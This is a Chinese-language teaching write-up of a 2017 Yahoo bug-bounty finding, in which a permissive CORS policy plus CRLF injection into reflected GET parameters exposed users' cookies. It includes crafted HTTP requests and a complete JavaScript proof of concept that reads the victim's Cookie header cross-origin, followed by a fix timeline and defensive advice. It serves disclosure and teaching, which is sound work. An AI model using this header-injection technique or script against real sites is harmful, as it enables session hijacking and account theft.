挖洞经验 | 看我如何发现价值$10000美金的雅虎Cookie窃取漏洞
字数 1355 2025-08-18 11:36:57
雅虎Cookie窃取漏洞分析与利用教学文档
漏洞概述
本教学文档详细分析了一个价值$10,000美金的雅虎Cookie窃取漏洞,该漏洞通过绕过CORS(跨域资源共享)安全机制实现敏感信息窃取。
漏洞发现背景
- 研究人员在学习Python过程中编写侦察脚本筛选雅虎子域名
- 发现
https://premium.advertising.yahoo.com与API服务https://api.advertising.yahoo.com交互 - 交互涉及XmlHttpRequests和CORS技术
关键发现点
-
响应头反射:API端点
/services/network/whoami会反射请求中的user agent、Accept和Cookie等头信息 -
GET参数反射:
- 任意GET参数会被反射到响应头中
- 示例请求:
GET /services/network/whoami?Test=Try HTTP/1.1 Host: api.advertising.yahoo.com - 响应:
HTTP/1.1 401 Unauthorized Test: Try
-
宽松的CORS策略:
- 允许任意域名作为请求来源
- 示例:
GET /services/network/whoami HTTP/1.1 Host: api.advertising.yahoo.com Origin: http://www.anydomain.com - 响应:
HTTP/1.1 401 Unauthorized Access-Control-Allow-Origin: http://www.anydomain.com Access-Control-Allow-Credentials: True
技术限制与突破
-
CORS默认限制:
- XMLHttpRequest默认只能获取6种响应头:
- Cache-Control
- Content-Language
- Content-Type
- Expires
- Last-Modified
- Pragma
- XMLHttpRequest默认只能获取6种响应头:
-
暴露额外头信息:
- 需要通过
Access-Control-Expose-Headers指定额外可访问的头信息 - 初始尝试直接暴露Cookie失败(被黑名单拦截):
GET /services/network/whoami?Access-Control-Expose-Headers=Cookie HTTP/1.1 Host: api.advertising.yahoo.com
- 需要通过
漏洞利用技术
-
CRLF注入绕过:
- 使用回车换行符
%0d%0a绕过过滤 - 成功注入示例:
GET /services/network/whoami?Access-Control-Expose-Header%0d%0as=Cookie Host: api.advertising.yahoo.com - 响应:
HTTP/1.1 401 Unauthorized Access-Control-Expose-Headers: Cookie
- 使用回车换行符
-
完整利用代码:
<script> var getcookie = new XMLHttpRequest(); var url = "https://api.advertising.yahoo.com/services/network/whoami?Access-Control-Expose-Header%0d%0as=Cookie"; getcookie.onreadystatechange = function() { if(getcookie.readyState == getcookie.DONE) { document.write(getcookie.getResponseHeader("Cookie") + "<h1>I have stolen all your cookies"); } } getcookie.open("GET",url,true); getcookie.withCredentials = true; getcookie.send(); </script>
漏洞影响范围
- 该漏洞不仅存在于广告API,还影响:
- 雅虎邮箱服务
- 其他
services/requests架构的服务
漏洞修复时间线
-
2017年9月19日:
- 漏洞报告给雅虎安全团队
- 半小时内分类并奖励初期$500奖金
- 几小时内暂停受影响API服务
-
修复措施:
- 限制GET参数注入
- 严格过滤
Access-Control-Allow-Origin字段 - 加强特殊字符构造的响应头过滤
-
2017年9月30日:
- 发放最终$9,500奖金
教学要点总结
-
CORS安全机制理解:
- 理解
Access-Control-Allow-Origin和Access-Control-Allow-Credentials的作用 - 掌握
Access-Control-Expose-Headers的使用场景
- 理解
-
CRLF注入技术:
- 了解
%0d%0a在HTTP头注入中的作用 - 掌握如何利用换行符绕过安全过滤
- 了解
-
安全测试方法论:
- 从正常功能中发现异常行为
- 逐步测试过滤机制的边界
- 利用反射特性构造攻击向量
-
漏洞报告流程:
- 及时报告给厂商
- 清晰描述漏洞细节和复现步骤
- 配合厂商进行验证和修复
防御建议
-
对于开发者:
- 严格验证所有输入参数
- 限制
Access-Control-Allow-Origin为可信来源 - 过滤所有HTTP头中的特殊字符
- 避免敏感信息通过HTTP头传输
-
对于安全研究人员:
- 在合法授权范围内测试
- 发现漏洞后及时报告厂商
- 不公开漏洞细节直到修复完成
扩展学习资源
- CORS规范:MDN Web文档
- HTTP头注入技术:OWASP测试指南
- 漏洞披露流程:CERT/CC指南